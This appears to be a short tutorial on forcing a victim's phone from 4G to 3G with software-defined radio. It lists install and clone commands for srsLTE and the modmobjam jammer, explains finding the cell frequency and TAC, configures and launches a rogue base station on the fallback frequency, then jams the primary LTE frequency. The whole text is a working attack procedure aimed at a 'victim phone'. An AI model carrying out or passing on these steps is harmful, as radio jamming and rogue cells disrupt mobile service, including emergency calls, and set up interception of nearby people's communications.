Downgrade from 4g to 3g

# apt update && apt upgrade
# apt install srslte limesuite-dev soapysdr0.6-module-all soapysdr-module-all libuhd-dev
# apt remove soapysdr0.6-module-audio soapysdr-module-audio
# git clone https://github.com/bbaranoff/srslteconfigs ~/.srs
# git clone https://github.com/Synacktiv/modmobjam

Running :

Now there will be two frequencies that we name freq1 and freq2

freq1 is the basic LTE frequency earfcn 3050 for example

. We can know this frequency (and the TAC) by typing *#0011# on samsung phone then freq2 is the hopping frequency that we have on phone when freq1 is jammed.

So when we have theses frequencies we can do srslte with modified ~/.srs/enb.conf at first section for the TAC and at [rf] section for the earfcn (corresponding to freq2)

Then we launch srsepc and srsenb

# srsepc

# srsenb

 

Then we jam freq1 with modmobjam. And the victim phone downgrade to 3G thanks